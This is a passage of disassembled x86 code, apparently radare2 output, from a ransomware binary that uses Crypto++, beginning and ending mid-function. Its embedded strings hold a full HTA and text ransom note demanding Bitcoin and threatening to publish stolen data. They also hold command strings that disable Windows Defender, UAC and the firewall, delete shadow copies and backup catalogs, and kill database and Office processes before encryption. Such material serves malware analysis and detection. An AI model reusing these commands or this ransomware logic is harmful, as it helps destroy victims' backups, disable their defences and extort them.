lea ecx, [ebp - 0x1778]
call fcn.0043a420
add esp, 4
push str.AppDataN_Save.sys
mov edx, eax
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xa74]
call fcn.0043a2e0
add esp, 4
lea ecx, [ebp - 0x1778]
call fcn.004049c0
lea ecx, [ebp - 0x1790]
mov byte [ebp - 4], 0x54
call fcn.004049c0
push 0xb8
lea eax, [ebp - 0x1474]
push 0
push eax
call fcn.004a9190
add esp, 4
lea eax, [ebp - 0xa74]
lea ecx, [ebp - 0x1474]
push 0x22
push eax
call fcn.00434310
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x1474]
mov eax, dword [ebp - 0x1474]
mov eax, dword [eax + 4]
add ecx, eax
call fcn.00403730
test al, al
je 0x42dec1
push 0xb0
lea eax, [ebp - 0xdf4]
push 0
push eax
call fcn.004a9190
lea eax, [ebp - 0xa74]
push eax
lea ecx, [ebp - 0xdf4]
call fcn.00434190
lea edx, [ebp - 0xbdc]
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0xdf4]
call fcn.00439c80
lea ecx, [ebp - 0xdf4]
call fcn.00434120
lea ecx, [ebp - 0xdf4]
mov byte [ebp - 4], 0x55
call fcn.0040ae70
lea ecx, [ebp - 0x1474]
call fcn.004342a0
mov ecx, dword [ebp - 0x974]
lea eax, [ebp - 0x984]
test ecx, ecx
je 0x42deeb
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x42dee0
sub esp, 0x18
lea eax, [ebp - 0x82c]
mov ecx, esp
push eax
call fcn.00431aa0
call fcn.00422460
add esp, 0x18
lea ecx, [ebp - 0x1474]
call fcn.0040ace0
lea ecx, [ebp - 0xa74]
call fcn.004049c0
lea ecx, [ebp - 0xbdc]
call fcn.00432290
lea ecx, [ebp - 0x984]
call fcn.00432290
lea ecx, [ebp - 0xd44]
call fcn.0040b0a0
lea ecx, [ebp - 0xbc4]
call fcn.00432290
lea ecx, [ebp - 0x102c]
call fcn.0040b0a0
lea ecx, [ebp - 0xbac]
call fcn.00432290
lea ecx, [ebp - 0x90c]
call fcn.00432290
lea ecx, [ebp - 0xb7c]
call fcn.00432290
lea ecx, [ebp - 0x9e4]
call fcn.00432290
lea ecx, [ebp - 0x9fc]
call fcn.00432290
lea ecx, [ebp - 0xc4c]
mov dword [ebp - method.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.virtual_0], vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.0
mov dword [ebp - method.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.1.virtual_0], vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.1.0
mov dword [ebp - method.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.virtual_0], vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.0
mov dword [ebp - method.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.1.virtual_0], vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.1.0
call fcn.00407d70
lea ecx, [ebp - 0x13bc]
mov dword [ebp - method.CryptoPP::NameValuePairs.virtual_0], vtable.CryptoPP::NameValuePairs.0
call fcn.00416810
lea ecx, [ebp - 0x12b4]
mov dword [ebp - method.CryptoPP::NameValuePairs.virtual_0], vtable.CryptoPP::NameValuePairs.0
call fcn.00416810
lea ecx, [ebp - 0xf6c]
mov dword [ebp - method.CryptoPP::NameValuePairs.virtual_0], vtable.CryptoPP::NameValuePairs.0
mov byte [ebp - 4], 0x2b
call fcn.0040b0a0
push 0x38
lea eax, [ebp - 0xc84]
push 0
push eax
call fcn.004a9190
add esp, 0xc
push 0
push ecx
push 0x520148
lea ecx, [ebp - 0xc84]
call fcn.004076c0
lea eax, [ebp - 0xc84]
mov byte [ebp - 4], 0x57
push eax
mov ecx, 0x51fbdc
call fcn.004423a0
push str.Second_Email_:
lea ecx, [ebp - 0x9b4]
call fcn.00431a30
push 0
push 0x4fff30
mov ecx, 0x51fc18
mov byte [ebp - 4], 0x58
call fcn.00431660
cmp eax, 0xffffffff
jne 0x42e073
push str.Telegram___ID_:
lea ecx, [ebp - 0x9b4]
call fcn.00431940
push 0x51fc30
mov edx, str._html__head__title_
lea ecx, [ebp - 0x1880]
call fcn.0043a5f0
add esp, 4
push str.__title__style_.spnn__background_color:yellow__.xswcolor:white__.Circe1_display:_list_item_padding_left:30px_.divesbackground_color:_eaecee__border:_1px_solid_black_padding:30px_.center_text_align:_center_.vl_border:_1px_solid_black_background_color:f2f4f4_margin_left:5px_margin_right:5px_padding:4px_.Mrgnlf_margin:15px_.fnt_background_color:red_height:70px_text_align:_center_font_size:_3em__hr.new1_border:_0_height:_1px_background_image:_linear_gradient_to_right__rgba_0__0__0__0___rgba_0__0__0__0.75___rgba_0__0__0__0____h3_font_size:_12vw___style__HTA:APPLICATION_ICONmsiexec.exe_SINGLEINSTANCEyes_SysMenuno__script_languagejavascript_window.moveTo_100__100__window.resizeTo__window.screen.width__150__window.screen.height__150____script___head__body__div_class_center___img_src_data:image_png_base64_iVBORw0KGgoAAAANSUhEUgAAAE4AAABlCAYAAADjwdXoAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAjNSURBVHhe7Z1ZyE1dGMfXe8wziQyZScpYKC4QJRdmFSOzCEiCReiZMibOURCIQol4UKGkMgsLlyQzGWe58_vfZ6vP43rPXXmefs5be_avT2Xuf95y9938_a63nedbwFv38hfKMDx8qMfP8t2xYoVVbVq1WTbJ5wKdTIEXXq1Cl14sQJdfHiRWVyKR07dlR9vRRPXr0UKNGjQqO_gvfLyoqCvbyS8GF27Jli1q3bp26du2a7JcrV06sqkKFCrKdTqYI379_V1_flVfvnxR3759k2NNmzZVkydPVnPnzpX9QlEQ4d6_f6mTJmiduzYIftVqlRRlStXlm1btHUhIr8P_fr1Uxs3blStW7eW_XySdFGjBih9u_fr8qXL6qV6et6LEbXz69EleXbp0UceOHVP16tULPo2fVPAeO0uXLhWRDh06pGrXrq1q1KiR1_qH38aS69Spo27fvq3q16vxo8fH3waP7FbHPVQs2bN1MOHDUmPl8ClYanPfVq1eyfffuXdW8eXPZjotYLe706dNSJJ8_fy6igQvRgPNqS2_RooVauXJl8Ek8xCbc4sWLVe_eveViKTIgHg8SK5p9uzZf7gvuZBTUdXFcNKkSWrTpk1yga4szISXL1KD4jfmGsVkpPFceLp06eLaLpogzXePLkSdW3b9cH3BOwq1Zs0atXbvWaSMQFa4Vi8u12FoX1Zs3b6oOHTrELhqtMq8fP37I76ZSKamnMqOKXOB3aXHXr18vjrkN1sIhVM2aNXO6IU7Ni6CeUErTrl07cV4RjRb6zp074tgC5yPo5zPbh6VvGfFwmxo1aiT7UbASrmvXrurGjRuqatWq1hePVb1580a2cVRHjx4tFXc2rl69qnbt2qVWrVolQiMgca4tOgOjQ7YoRK7jCJ8uXbokF20jGsJ1o2iuGfPHtnfvHlzqGjQuXNntXz5colPz58_rxo0aFDyWzYgOtYderU4Ig5kS0ulyKqA_Li4mI1cbM4GhuENINHjzYOm_H7VNksX6cZVMiWdy8efPk3UY0LgzRES4u0WDQoEFy84RUWF9UuCZSWkOHDg2OmBHJ4jiJjZPLDZHqoZLPJ9STu3fvjuxTaqu7f_atKkSXA0O8YWR7bDBiytTZs2eRcNaDgQL6rlYQi4PLNmzQqOhGNscdQhJB85gSm0fLgNr1_Do4UBtLrt27dkrrYFG11pgXQyOLIeiBCFNHg3bt34raA6QXFwfXr1V8uDym6OqHFt4EIEoAlEbBIrLwoULpU8AotaLuXL48OESP9EU_FLcHROMiio3TVNtanF0pPCdQhfRTDp16iR1q2n_BlKYFtdQi6OlgSgW9_btWeiAT1pHz9DPbC0aVi79698p6NUOGOHj0q76ZFzdaLzxetWrX6LQ4OAwOhjzeMUOGuXLkSqVEgGMcp9YVhw4ZJI2UK3oM2lmyECnfmzBnxrE0hcB45cmSw554ZM2YEW2Zwr6TMwghtHDBdGgb8MRNoTaPGffkEl4TGQaeiTOAewhqI0FizopSv1WqVMmbzhrgwZPf00MmwtB19LNnzS9NMwegSE83caNG0d2lPMN8aepM6yt8smTJ_JeGrEKh3kzzME3KKYmvlk6YW5MrMKBabEuJDbXFPad2IUrKyTCWZIIZ0kinCWJcJYkwlmSCGdJIpwlsQtnGkgXkqhpfyDmzkZJdoQ37S0fPHhQgmJyU0OGDDHuSU7DGBZsWKFpJeihjn5gCzNkiVL1OXLlVTCB9Tt8DfcEkQckvZqbff0sr6aH16dSqVSuSFXGiKInDQsBNR83YZPbNMpPn3LlzwV6acC1btpTR2boXXOtpEelPQsvsLkH4D70d_UQDp2GF1NiRHa6aMAf2Z5Qf9eXly3p36XIk6sbOHCg7IvF8QdRi2RZRWeHUwzWg0S0cHR2mN7VHqFl5AdjIvsNtVaikxnYm3m4BOePECzVLetYKg2aJqVmSCGdJIpwliXCWeCccHce09MS7DBdjHoJpL3wh8UI4WnVGOeGVI9KAAQPUuHHj1IQJE2QYPQE6nyGkL3ghHGmc9u3bq0ePHsk8iAMHDqgNGzbIJDVm3zx9lQml5C9QUDtwbvEqXBYGkKw5MWFCxdUw4YNg0_hOFXiMgCL4z2jDIwOh84FQ5L27p1q5o4cWJwJDtYWq9evdTZs2cjD4yOG2fCUfn3799fjR07NjgSjg4Ne_bsKdOjdKbCBU6Ew3JICO7cuTM4Eh2mAtBouCqyToSjou_evbssqmILdR59AVFGlceJEFwPbp16xbs2cPAaFcnhPhqJdwP3KFOVuucCIc4JvlStg43XziRDiGu5pONsvG_PnzjacbxY0T4Ug_EyVEcUUyIaog7VmhKNXja7Ibdu2qTlz5gRHw9EG9bKAgQulyRyVscB4jFcYvXq1cGR7CDS8ePHJdJANJc4FQ7oz2XakOlswHDh5esfOjK2sC5cDqMmjZtmrxnY_v27RKjjABxblwgAWR9QiD1VwJs1xamsYL4bAgJhTrScX_BxHCgwcPrMa65QMvhNMWpNc6j_IppDk1EXbNX5cRUC2IiidwJ6IBl4J9zeRCGdJIpwliXCWJMJZkghnSSKcJYlwlnglXLZwynU2JBOvhHv8HGw9Sf0jNHzn4RcGZAhybYmE3PKmIvli9V5IxwZEsbCIcyCBQvUsmXLZF3ORYsWqbp168q6vyyM5wtFxcXFP1lU03UqGhgaQb8CWRA9tAEhsUYfkpfAwx0zZoxfdZzOgDBviv4IHiYvX3Jw6XglHKS3npnvPuGdcH8LiXCWpFwNzPubQbMUFW8injloxbCLFKv5JZjDoEjz1fJDOn0aeUJpcO4Y0JDaRwYVuDDgseg7Xx7wH5zyUlq0BgdYQ0YQuVlFWIajAuveJsiXB0BiMcfxBl3dygF4y4969e2JxSFYinGbfvn3yz3wYcuCjx15IRKBfGrRt21bmlv2HUv8AVAIUN7u0pAAAAAASUVORK5CYII__alt_Paris____div___br__div_class_fnt__Your_Files_Has_Been__span_class_xsw__Stolen__span__And__span
mov edx, eax
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x1868]
call fcn.0043a2e0
add esp, 4
push 0x51fce8
mov edx, eax
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x1850]
call fcn.0043a420
add esp, 4
push str.__span___br___br_If_You_Want_To_Restore_Them_Email_Us_:__span_class_spnn__
mov edx, eax
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x1838]
call fcn.0043a2e0
add esp, 4
push 0x51fc30
mov edx, eax
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x1820]
call fcn.0043a420
add esp, 4
push str.__span___br___br_If_You_Do_Not_Receive_A_Response_Within_24_Hours__Send_A_Message_To_Our
mov edx, eax
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x1808]
call fcn.0043a2e0
add esp, 4
lea ecx, [ebp - 0x9b4]
mov byte [ebp - 4], 0x5e
push ecx
mov edx, eax
lea ecx, [ebp - 0x1988]
call fcn.0043a420
add esp, 4
push str.__span_class_spnn__
mov edx, eax
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x17d8]
call fcn.0043a2e0
add esp, 4
push 0x51fc18
mov edx, eax
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x17c0]
call fcn.0043a420
add esp, 4
push str.__span___br___br_To_Decrypt_Your_Files_You_Need_Buy_Our_Special_Decrypter_In_Bitcoin_.__br___br_Every_Day_The_Delay_Increases_The_Price____The_Decryption_Price_Depends_On_How_Fast_You_Write_To_Us_Email.__br___br_We_Deliver_The_Decryptor_Immediately_After_Payment___Please_Write_Your_System_ID_In_The_Subject_Of_Your_E_mail.__br___br___br___br__div_class_dives____h3_What_Is_The_Guarantee____h3___br__div_class_Circe1__Before_Payment_You_Can_Send_Some_Files_For_Decryption_Test.__div___br___br__div_class_Circe1__If_We_Do_Not_Fulfill_Our_Obligations__No_One_Does_Business_With_Us___Our_Reputation_Is_Important_To_Us_Its_Just_Business_To_Get_Benefits.__div___br___br__hr_class_new1____br___br__h3_Attention____h3___br__div_class_Circe1__Do_Not_Rename_Modify_Encrypted_Files_.__div___br___br__div_class_Circe1__Do_Not_Try_To_Recover_Files_With_Free_Decryptors_Or_Third_Party_Programs_And_Antivirus_Solutions_Because___br___br_It_May_Make_Decryption_Harder_Or_Destroy_Your_Files_Forever____div___br___br__hr_class_new1____br___br__h3_Buy_Bitcoin____h3___br__div_class_Circe1___a_hrefhttps:__www.kraken.com_learn_buy_bitcoin_btc_https:__www.kraken.com_learn_buy_bitcoin_btc__a___div___br___br__div_class_Circe1___a_hrefhttps:__www.coinbase.com_how_to_buy_bitcoin_https:__www.coinbase.com_how_to_buy_bitcoin__a___div___div___div___div___body___html_
mov edx, eax
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x17a8]
call fcn.0043a2e0
add esp, 4
mov ecx, 0x51fd18
push eax
call fcn.004319a0
lea ecx, [ebp - 0x17a8]
call fcn.004049c0
lea ecx, [ebp - 0x17c0]
call fcn.004049c0
lea ecx, [ebp - 0x17d8]
call fcn.004049c0
lea ecx, [ebp - 0x1988]
call fcn.004049c0
lea ecx, [ebp - 0x1808]
call fcn.004049c0
lea ecx, [ebp - 0x1820]
call fcn.004049c0
lea ecx, [ebp - 0x1838]
call fcn.004049c0
lea ecx, [ebp - 0x1850]
call fcn.004049c0
lea ecx, [ebp - 0x1868]
call fcn.004049c0
lea ecx, [ebp - 0x1880]
mov byte [ebp - 4], 0x58
call fcn.004049c0
push str.reg.exe_add__HKLMSoftwarePoliciesMicrosoftWindows_Defender___v__DisableAntiSpyware___t_REG_DWORD__d__1___freg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__fvssadmin.exe_Delete_Shadows__All__Quietwmic_shadowcopy_deletenetsh_advfirewall_set_currentprofile_state_offnetsh_firewall_set_opmode_modedisablenetsh_advfirewall_firewall_set_rule_group_Network_Discovery__new_enableYeswbadmin_delete_catalog__quiet
lea ecx, [ebp - 0xa8c]
call fcn.004323a0
lea ecx, [ebp - 0xa8c]
mov byte [ebp - 4], 0x62
call fcn.00431e30
push eax
call fcn.004b5a92
add esp, 4
lea ecx, [ebp - 0xb4c]
push str.taskkill__im_msftesql.exetaskkill__im_sqlagent.exetaskkill__im_sqlbrowser.exetaskkill__im_sqlservr.exetaskkill__im_sqlwriter.exetaskkill__im_oracle.exetaskkill__im_ocssd.exetaskkill__im_dbsnmp.exetaskkill__im_synctime.exetaskkill__im_agntsvc.exetaskkill__im_mydesktopqos.exetaskkill__im_isqlplussvc.exetaskkill__im_xfssvccon.exetaskkill__im_mydesktopservice.exetaskkill__im_ocautoupds.exetaskkill__im_agntsvc.exetaskkill__im_encsvc.exetaskkill__im_firefoxconfig.exetaskkill__im_tbirdconfig.exetaskkill__im_ocomm.exetaskkill__im_mysqld.exetaskkill__im_mysqld_nt.exetaskkill__im_mysqld_opt.exetaskkill__im_dbeng50.exetaskkill__im_sqbcoreservice.exetaskkill__im_excel.exetaskkill__im_infopath.exetaskkill__im_msaccess.exetaskkill__im_mspub.exetaskkill__im_onenote.exetaskkill__im_outlook.exetaskkill__im_powerpnt.exetaskkill__im_steam.exetaskkill__im_thebat.exetaskkill__im_thebat64.exetaskkill__im_thunderbird.exetaskkill__im_visio.exetaskkill__im_winword.exetaskkill__im_wordpad.exe
call fcn.004323a0
lea ecx, [ebp - 0xb4c]
mov byte [ebp - 4], 0x63
call fcn.00431e30
push eax
call fcn.004b5a92
push 0x51fce8
mov edx, str.All_Your_Files_Are_Locked_And_Important_Data_Downloaded___r_n_r_n_r_nYour_Files_Are_No_Longer_Accessible_Dont_Waste_Your_Time__Without_Our_Decryption_Program_Nobody_Cant_Help_You_._r_n_r_nIf_Payment_Isnt_Made_After_A_While_We_Will_Sell_OR_Publish_Some_Of_Your_Data_._You_Dont_Have_Much_Time__r_n_r_n_r_nYour_ID_:
lea ecx, [ebp - 0x1940]
call fcn.0043a5f0
add esp, 8
push str._r_n_r_nIf_You_Want_To_Restore_Them_Email_Us_:
mov edx, eax
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x1928]
call fcn.0043a2e0
add esp, 4
push 0x51fc30
mov edx, eax
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x1910]
call fcn.0043a420
add esp, 4
push str._r_n_r_nIf_You_Do_Not_Receive_A_Response_Within_24_Hours__Send_A_Message_To_Our
mov edx, eax
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x18f8]
call fcn.0043a2e0
add esp, 4
lea ecx, [ebp - 0x9b4]
mov byte [ebp - 4], 0x67
push ecx
mov edx, eax
lea ecx, [ebp - 0x18e0]
call fcn.0043a420
add esp, 4
push 0x4fb5bc
mov edx, eax
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x18c8]
call fcn.0043a2e0
add esp, 4
push 0x51fc18
mov edx, eax
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x18b0]
call fcn.0043a420
add esp, 4
mov byte [ebp - 4], 0x6a
push str._r_n_r_nTo_Decrypt_Your_Files_You_Need_Buy_Our_Special_Decrypter_In_Bitcoin_._r_n_r_nEvery_Day_The_Delay_Increases_The_Price____The_Decryption_Price_Depends_On_How_Fast_You_Write_To_Us_Email._r_n_r_nWe_Deliver_The_Decryptor_Immediately_After_Payment___Please_Write_Your_System_ID_In_The_Subject_Of_Your_E_mail._r_n_r_nWhat_is_the_guarantee___r_n_r_nBefore_Payment_You_Can_Send_Some_Files_For_Decryption_Test._r_n_r_nIf_We_Do_Not_Fulfill_Our_Obligations__No_One_Does_Business_With_Us___Our_Reputation_Is_Important_To_Us__r_nIts_Just_Business_To_Get_Benefits._r_n_r_n_r_n_r_nAttention___r_n_r_nDo_Not_Rename_Modify_Encrypted_Files_._r_n_r_nDo_Not_Try_To_Recover_Files_With_Free_Decryptors_Or_Third_Party_Programs_And_Antivirus_Solutions_Because__r_n_r_nIt_May_Make_Decryption_Harder_Or_Destroy_Your_Files_Forever___r_n_r_n_r_n_r_nBuy_Bitcoin___r_n_r_nhttps:__www.kraken.com_learn_buy_bitcoin_btc_r_n_r_nhttps:__www.coinbase.com_how_to_buy_bitcoin
mov edx, eax
lea ecx, [ebp - 0x1898]
call fcn.0043a2e0
add esp, 4
mov ecx, 0x51fd00
push eax
call fcn.004319a0
lea ecx, [ebp - 0x1898]
call fcn.004049c0
lea ecx, [ebp - 0x18b0]
call fcn.004049c0
lea ecx, [ebp - 0x18c8]
call fcn.004049c0
lea ecx, [ebp - 0x18e0]
call fcn.004049c0
lea ecx, [ebp - 0x18f8]
call fcn.004049c0
lea ecx, [ebp - 0x1910]
call fcn.004049c0
lea ecx, [ebp - 0x1928]
call fcn.004049c0
lea ecx, [ebp - 0x1940]
mov byte [ebp - 4], 0x63
call fcn.004049c0
mov edx, str.file
mov ecx, 0x5200b8
call fcn.004398b0
test al, al
je 0x42e4e7
mov ecx, 0x5200a0
call fcn.0040f630
cmp byte [0x5200e9], 1
jne 0x42ec74
push str.__ID_
mov edx, 0x5200a0
lea ecx, [ebp - 0x19b8]
call fcn.0043a350
add esp, 4
push 0x51fce8
mov edx, eax
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x19a0]
call fcn.0043a420
add esp, 4
push 0x4ff97c
mov edx, eax
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x1b20]
call fcn.0043a2e0
add esp, 4
push 0x51fc30
mov edx, eax
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x1970]
call fcn.0043a420
add esp, 4
push 0x4ff978
mov edx, eax
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x1958]
call fcn.0043a2e0
add esp, 4
push 0x51fdb8
mov edx, eax
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0x99c]
call fcn.0043a420
add esp, 4
lea ecx, [ebp - 0x1958]
call fcn.004049c0
lea ecx, [ebp - 0x1970]
call fcn.004049c0
lea ecx, [ebp - 0x1b20]
call fcn.004049c0
lea ecx, [ebp - 0x19a0]
call fcn.004049c0
lea ecx, [ebp - 0x19b8]
mov byte [ebp - 4], 0x75
call fcn.004049c0
lea ecx, [ebp - 0x99c]
call fcn.00431860
push eax
mov ecx, 0x5200a0
call fcn.00431860
push eax
call fcn.004b61d6
add esp, 8
test eax, eax
je 0x42e4d3
push ecx
mov edx, 0x5200a0
lea ecx, [ebp - 0x19d0]
call fcn.0043a480
add esp, 4
lea ecx, [ebp - 0x99c]
push eax
call fcn.004319a0
lea ecx, [ebp - 0x19d0]
call fcn.004049c0
lea ecx, [ebp - 0x99c]
call fcn.00431860
push eax
mov ecx, 0x5200a0
call fcn.00431860
push eax
call fcn.004b61d6
add esp, 8
lea ecx, [ebp - 0x99c]
mov byte [ebp - 4], 0x63
call fcn.004049c0
jmp 0x42ec74
mov edx, 0x5006d4
mov ecx, 0x5200b8
call fcn.004398b0
test al, al
je 0x42ec20
xorps xmm0, xmm0
lea ecx, [ebp - 0x8bc]
movups xmmword [ebp - 0x8bc], xmm0
movq qword [ebp - 0x8ac], xmm0
call fcn.00405130
xorps xmm0, xmm0
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0x8a4]
movq qword [ebp - 0x894], xmm0
movups xmmword [ebp - 0x8a4], xmm0
call fcn.00405130
sub esp, 0x3c
mov byte [ebp - 4], 0x77
mov esi, esp
mov ecx, 0x5200a0
push 1
push 1
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x78
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x8bc]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 2
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x79
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x8bc]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 3
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x7a
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov byte [ebp - 4], 0x77
mov ecx, esi
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x8bc]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 4
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x7b
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x8bc]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 5
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x7c
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x8bc]
call fcn.0043b150
lea ecx, [ebp - 0x8bc]
call fcn.00405330
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 1
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x7d
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x8a4]
call fcn.0043b150
sub esp, 0x3c
mov esi, esp
push 0
push 2
sub esp, 0x18
mov ecx, 0x5200a0
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x7e
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x8a4]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 3
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x7f
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x8a4]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 4
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x80
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x8a4]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 5
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x81
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x8a4]
call fcn.0043b150
lea ecx, [ebp - 0x8a4]
call fcn.00405330
cmp byte [0x5200e9], 1
jne 0x42ec04
xorps xmm0, xmm0
mov byte [0x5200ef], 1
lea ecx, [ebp - 0x88c]
movq qword [ebp - 0x87c], xmm0
movups xmmword [ebp - 0x88c], xmm0
call fcn.00405130
xorps xmm0, xmm0
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x874]
movq qword [ebp - 0x864], xmm0
movups xmmword [ebp - 0x874], xmm0
call fcn.00405130
sub esp, 0x3c
mov byte [ebp - 4], 0x83
mov esi, esp
mov ecx, 0x5200a0
push 1
push 1
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x84
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x88c]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 2
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x85
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x88c]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 3
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x86
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x88c]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 4
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
sub esp, 0x18
mov byte [ebp - 4], 0x87
mov ecx, esp
push 0x5200a0
call fcn.00431aa0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043af60
add esp, 0x38
lea ecx, [ebp - 0x88c]
call fcn.0043b150
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 5
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00431600
